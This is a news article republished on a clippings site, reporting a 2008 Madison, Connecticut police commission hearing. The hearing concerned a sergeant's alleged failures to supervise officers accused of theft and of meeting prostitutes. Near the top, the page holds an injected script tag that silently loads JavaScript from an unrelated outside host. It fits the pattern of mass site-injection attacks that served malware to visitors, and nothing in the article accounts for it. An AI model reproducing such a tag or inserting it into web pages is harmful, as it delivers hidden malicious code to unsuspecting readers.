NEWS > 16 January 2008

Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Shoreline Times - Guilford,CT,
16 January 2008

This article appeared in the above title/site.
To view it in its entirity click this link.

Supervisor blamed for cop woes

Accusations were brought forward that four Madison police officers consorted with prostitutes while on duty.
The charges surfaced at a Police Commission hearing last week, looking into whether to terminate Sgt. Timothy Heiden. Heiden is facing administrative sanctions for allegedly hindering a state police investigation of Joseph Gambardella, who is accused of stealing seafood from Lenny and Joe's Fish Tale Restaurant last summer. It has also been charged that Heiden did not adequately supervise the midnight shift.
The sergeant has been on paid suspension since October.
At the Police Commision hearing, Sgt. Trent Fox, one of two detectives for the department, testified that Albert LeClaire, a childhood friend of suspended officer Bernard Durgin, arranged the meetings with the prostitutes, which took place in Madison, in one case outside the Brown Middle School. LeClaire, a convicted felon, has 50 previous arrests and seven pending, according to investigation documents.
Durgin has already been charged with computer crime, fraudulent receipt of benefits, and tampering with and interfering with a witness.
Town Attorney Bill Clendenen asked Fox the names of the three other officers, but International Brotherhood of Police Officers attorney Michael Brady, representing Heiden, objected. "These people have families," he said. The names stayed secret.
The four officers who allegedly met with prostitutes have not yet been charged; the information is being used to prove that Heiden did not properly supervise the patrolmen.
It's not the only instance of misconduct that the department is using to make its case. Clendenen, on behalf of the department, is arguing that Heiden failed to move on a story brought to him by Gambardella, in which Bruce Beebe, owner of Beebe Marine, ran out of his house in the middle of the night in his underwear to yell at Gambardella. The bizarre incident was not fully explained at the hearing nor is it clear in the hearing documents.
Heiden is accused of not following proper protocol with regard to the information, according to Lt. Allen Gerard, who investigated the matter for Internal Affairs.
He should have documented the story and followed up with Beebe, according to the internal affairs investigation. In the charges, Gerard writes that the story "directly related to a felony burglary and larceny committed by patrolman Gambardella for which he was subsequently arrested." In an internal affairs interview, Heiden said that Gambardella reported the incident as a "funny ha ha story," needing no further follow-up.
Another incident the department is using to bolster its case against Heiden is his failure to inform, Gambardella, as he had been instructed, that Lenny and Joe's was installing a security camera in the restaurant following the thefts. This is ironic, because it was the security camera that captured Gambardella removing lobster meat in a trash bag from the restaurant.
In his internal affairs investigation, Gerard claims that Heiden's failure as a supervisor stems as much from what he did not do than what he did. Heiden covered up police misconduct, writes Gerard in his report, by "routinely looking the other way and thereby tacitly condoning such activity." Arguing that Heiden was not able to supervise effectively, Gerard wrote, "This includes what Sgt. Heiden knew or should have known about the actions, behavior and conduct of the midnight patrol shift he supervised."
At the morning session of the hearing, Police Commissioners voted to uphold four of the five original charges against Heiden. Commissioners voted 3-1 that Heiden was guilty of violating his oath of office, code of ethics, that he had committed conduct unbecoming an officer, neglected his duty, and interfered with the course of justice. The only charge that was not upheld was for incompetence.
The interfering with the course of justice charge stems from when Heiden called Gambardella while Gambardella was being interviewed by state police. Police union attorney Michael Brady argued that Heiden contacted Gambardella as his union representative in order to warn him to be careful what he said until he spoke with a lawyer. Brady also argued that a declaratory statement does not constitute interference. The department argued that Gambardella, like any other police officer, would have been aware of his rights, and that his rights were told to him a total of four times. Clendenen also suggested that Heiden should have recused himself and let Vice President Robert Mulhern handle the issue, since Heiden was also Gambardella's first line supervisor.
During the deliberations, which were open, Commissioner David Smith said, "I believe that there was a point at which a line was crossed and the advice was inappropriate."
The commissioners also ruled that there was no anti-union animus in the charges, a charge that attorney Brady used in his defense of Heiden.
Gary Gyenizs, the only Democrat on the Commission, cast the lone dissenting vote. He is on the Executive Board of Local 478 union of operating engineers. His father was also a member of Local 478.
The final charge in the second set is for arrogance, oppression or tyranny in discharge of duty. It was a result of an argument between Heiden and Clendenen during the Oct. 25 hearing. When Clendenen started a question with, "You'll agree with me...,"
Heiden muttered, "We'll see." He then said, "You will excuse me, but I am fighting for my job here. If you have a question, please ask me and I will respectfully respond, but I feel as though you are trying to badger me and beat me into an adverse spot." After Heiden's remarks, the audience erupted into applause.
In his explanation of the charge, Gerard wrote, "Sgt. Heiden engaged in a public display of superciliousness... [He] continued on with his self-important mindset by delivering an unprompted self serving speech while testifying as a supervisory representative of this agency."
Earlier at the October hearing against him, Clendenen asked Heiden if he liked working at the Madison Police Department. Heiden answered, "Not particularly."

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Shoreline Times - Guilford,CT,16 January 2008

Supervisor blamed for cop woes

EiP Comments:

Shoreline Times - Guilford,CT,
16 January 2008